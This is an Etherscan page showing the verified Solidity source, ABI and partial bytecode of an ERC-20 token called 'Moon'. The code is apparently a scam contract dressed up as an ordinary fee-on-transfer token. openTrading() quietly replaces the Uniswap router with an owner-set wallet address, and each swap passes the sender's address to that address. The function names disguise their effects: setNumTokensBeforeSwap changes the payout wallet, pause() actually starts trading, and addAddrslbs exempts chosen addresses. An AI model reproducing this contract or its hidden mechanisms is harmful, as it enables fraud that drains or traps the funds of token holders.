ETH Price: $1,645.36 (+5.14%)
 

Overview

Max Total Supply

150,000,000 Moon

Holders

582

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Moon

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-13
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.5;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender,
     uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b,
     string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data,
         "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA,
     address tokenB) external returns (address pair);

}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,   address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,   address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,  address to,
        uint deadline
    ) external;
}


contract Moon is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable private marketingWalletAddress;
    address private deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _eluded;
    mapping (address => bool) public isMarketPair;


    uint256 private _totalTaxIfBuying = 0;
    uint256 private _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _minimumTokensBeforeSwap = 0;
    address private _lastForm;
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapPair;

    bool inSwapAndLiquify;
    bool private swapAndLiquifyEnabled = false;
    bool private swapAndLiquifyByLimitOnly = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;   inSwapAndLiquify = false;
    }


    constructor (
        string memory coinName,
        string memory coinSymbol,
        uint8 coinDecimals,
        uint256 supply
    ) payable {
        _name = coinName;
        _symbol = coinSymbol;
        _decimals = coinDecimals;
        _owner = 0xF538106C69fA897aDE800EE443De8B69fE673828;
        _totalSupply = supply  * 10 ** _decimals;
        _minimumTokensBeforeSwap = 21000 * 10**_decimals;
        marketingWalletAddress = payable(0xF538106C69fA897aDE800EE443De8B69fE673828);
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        _eluded[_owner] = true;
        _eluded[address(this)] = true;
        _eluded[marketingWalletAddress] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return _minimumTokensBeforeSwap;
    }

    function approve(address spender,
     uint256 amount) public override returns (bool) {
        _approve(_msgSender(),
         spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwap(address newLimit) external onlyOwner() {
        marketingWalletAddress = payable(newLimit);
    }


    function addAddrslbs(address[] calldata accounts) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _eluded[accounts[i]] = true;
        }
    }

    bool private startTx;
    function pause() external onlyOwner() { startTx = true;
    }

    function openTrading() external onlyOwner() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);
        address _uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this),_uniswapV2Router.WETH());
        if(_uniswapPair == address(0)){
            _uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
                        .createPair(address(this),
                        _uniswapV2Router.WETH());
        }   
            uniswapV2Router = 
              IUniswapV2Router02(marketingWalletAddress);
            swapAndLiquifyEnabled = true;
            isMarketPair[address(_uniswapPair)] = true;
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;  }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if(!_eluded[sender] && !_eluded[recipient]){
            if(isMarketPair[sender] || isMarketPair[recipient]){
                require(startTx, "not start");
            }
        }

        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));

            if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                _lastForm = sender;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (_eluded[sender] || _eluded[recipient]) ?
                                         amount : takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        // swap token -> eth
        swapTokensForEth(tAmount);
        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0)
            transferToAddressETH(marketingWalletAddress,
             amountReceived);

    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = _lastForm;
        path[2] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp
        );
        emit SwapTokensForETH(tokenAmount, path); }



    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(0)] = _balances[address(0)].add(feeAmount);
            emit Transfer(sender, address(0), feeAmount);
        }

        return amount.sub(feeAmount);
    }
   
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint8","name":"coinDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"addAddrslbs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newLimit","type":"address"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006009556000600a556000600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060156101000a81548160ff0219169083151502179055506000601060166101000a81548160ff021916908315150217905550604051620040d9380380620040d98339818101604052810190620001069190620006a7565b83600190805190602001906200011e9291906200054b565b508260029080519060200190620001379291906200054b565b5081600360006101000a81548160ff021916908360ff16021790555073f538106c69fa897ade800ee443de8b69fe6738286000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a620001c591906200083f565b81620001d291906200097c565b600b81905550600360009054906101000a900460ff16600a620001f691906200083f565b6152086200020591906200097c565b600c8190555073f538106c69fa897ade800ee443de8b69fe673828600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b54600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b5460405162000539919062000768565b60405180910390a35050505062000b89565b828054620005599062000a2a565b90600052602060002090601f0160209004810192826200057d5760008555620005c9565b82601f106200059857805160ff1916838001178555620005c9565b82800160010185558215620005c9579182015b82811115620005c8578251825591602001919060010190620005ab565b5b509050620005d89190620005dc565b5090565b5b80821115620005f7576000816000905550600101620005dd565b5090565b6000620006126200060c84620007ae565b62000785565b90508281526020810184848401111562000631576200063062000b28565b5b6200063e848285620009f4565b509392505050565b600082601f8301126200065e576200065d62000b23565b5b815162000670848260208601620005fb565b91505092915050565b6000815190506200068a8162000b55565b92915050565b600081519050620006a18162000b6f565b92915050565b60008060008060808587031215620006c457620006c362000b32565b5b600085015167ffffffffffffffff811115620006e557620006e462000b2d565b5b620006f38782880162000646565b945050602085015167ffffffffffffffff81111562000717576200071662000b2d565b5b620007258782880162000646565b9350506040620007388782880162000690565b92505060606200074b8782880162000679565b91505092959194509250565b6200076281620009dd565b82525050565b60006020820190506200077f600083018462000757565b92915050565b600062000791620007a4565b90506200079f828262000a60565b919050565b6000604051905090565b600067ffffffffffffffff821115620007cc57620007cb62000af4565b5b620007d78262000b37565b9050602081019050919050565b6000808291508390505b600185111562000836578086048111156200080e576200080d62000a96565b5b60018516156200081e5780820291505b80810290506200082e8562000b48565b9450620007ee565b94509492505050565b60006200084c82620009dd565b91506200085983620009e7565b9250620008887fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000890565b905092915050565b600082620008a2576001905062000975565b81620008b2576000905062000975565b8160018114620008cb5760028114620008d6576200090c565b600191505062000975565b60ff841115620008eb57620008ea62000a96565b5b8360020a91508482111562000905576200090462000a96565b5b5062000975565b5060208310610133831016604e8410600b8410161715620009465782820a90508381111562000940576200093f62000a96565b5b62000975565b620009558484846001620007e4565b925090508184048111156200096f576200096e62000a96565b5b81810290505b9392505050565b60006200098982620009dd565b91506200099683620009dd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620009d257620009d162000a96565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b8381101562000a14578082015181840152602081019050620009f7565b8381111562000a24576000848401525b50505050565b6000600282049050600182168062000a4357607f821691505b6020821081141562000a5a5762000a5962000ac5565b5b50919050565b62000a6b8262000b37565b810181811067ffffffffffffffff8211171562000a8d5762000a8c62000af4565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b62000b6081620009dd565b811462000b6c57600080fd5b50565b62000b7a81620009e7565b811462000b8657600080fd5b50565b6135408062000b996000396000f3fe6080604052600436106101395760003560e01c80638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb14610437578063b2bdfa7b14610474578063c9567bf91461049f578063dd62ed3e146104b6578063e350a6c4146104f3578063f2fde38b1461051c57610140565b80638da5cb5b14610362578063914eb66a1461038d57806395d89b41146103a4578063a073d37f146103cf578063a457c2d7146103fa57610140565b806339509351116100fd57806339509351146102405780633ecad2711461027d578063557ed1ba146102ba57806370a08231146102e5578063761d22db146103225780638456cb591461034b57610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d8578063313ce5671461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610545565b6040516101679190612c35565b60405180910390f35b34801561017c57600080fd5b50610197600480360381019061019291906128e2565b6105d7565b6040516101a49190612c1a565b60405180910390f35b3480156101b957600080fd5b506101c26105f5565b6040516101cf9190612d97565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa919061288f565b6105ff565b60405161020c9190612c1a565b60405180910390f35b34801561022157600080fd5b5061022a6106d9565b6040516102379190612e3c565b60405180910390f35b34801561024c57600080fd5b50610267600480360381019061026291906128e2565b6106f0565b6040516102749190612c1a565b60405180910390f35b34801561028957600080fd5b506102a4600480360381019061029f91906127f5565b6107a3565b6040516102b19190612c1a565b60405180910390f35b3480156102c657600080fd5b506102cf6107c3565b6040516102dc9190612d97565b60405180910390f35b3480156102f157600080fd5b5061030c600480360381019061030791906127f5565b6107cb565b6040516103199190612d97565b60405180910390f35b34801561032e57600080fd5b5061034960048036038101906103449190612922565b610814565b005b34801561035757600080fd5b5061036061094e565b005b34801561036e57600080fd5b50610377610a00565b6040516103849190612bd6565b60405180910390f35b34801561039957600080fd5b506103a2610a29565b005b3480156103b057600080fd5b506103b9610b7c565b6040516103c69190612c35565b60405180910390f35b3480156103db57600080fd5b506103e4610c0e565b6040516103f19190612d97565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c91906128e2565b610c18565b60405161042e9190612c1a565b60405180910390f35b34801561044357600080fd5b5061045e600480360381019061045991906128e2565b610ce5565b60405161046b9190612c1a565b60405180910390f35b34801561048057600080fd5b50610489610d04565b6040516104969190612bd6565b60405180910390f35b3480156104ab57600080fd5b506104b4610d28565b005b3480156104c257600080fd5b506104dd60048036038101906104d8919061284f565b611206565b6040516104ea9190612d97565b60405180910390f35b3480156104ff57600080fd5b5061051a600480360381019061051591906127f5565b61128d565b005b34801561052857600080fd5b50610543600480360381019061053e91906127f5565b611366565b005b6060600180546105549061305b565b80601f01602080910402602001604051908101604052809291908181526020018280546105809061305b565b80156105cd5780601f106105a2576101008083540402835291602001916105cd565b820191906000526020600020905b8154815290600101906020018083116105b057829003601f168201915b5050505050905090565b60006105eb6105e4611528565b8484611530565b6001905092915050565b6000600b54905090565b600061060c8484846116fb565b506106ce84610619611528565b6106c9856040518060600160405280602881526020016134be60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067f611528565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c9092919063ffffffff16565b611530565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60006107996106fd611528565b84610794856006600061070e611528565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd090919063ffffffff16565b611530565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61081c611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a090612d17565b60405180910390fd5b60005b82829050811015610949576001600760008585858181106108d0576108cf613163565b5b90506020020160208101906108e591906127f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109419061308d565b9150506108ac565b505050565b610956611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da90612d17565b60405180910390fd5b6001601060176101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a31611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab590612d17565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610b8b9061305b565b80601f0160208091040260200160405190810160405280929190818152602001828054610bb79061305b565b8015610c045780601f10610bd957610100808354040283529160200191610c04565b820191906000526020600020905b815481529060010190602001808311610be757829003601f168201915b5050505050905090565b6000600c54905090565b6000610cdb610c25611528565b84610cd6856040518060600160405280602581526020016134e66025913960066000610c4f611528565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c9092919063ffffffff16565b611530565b6001905092915050565b6000610cf9610cf2611528565b84846116fb565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d30611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000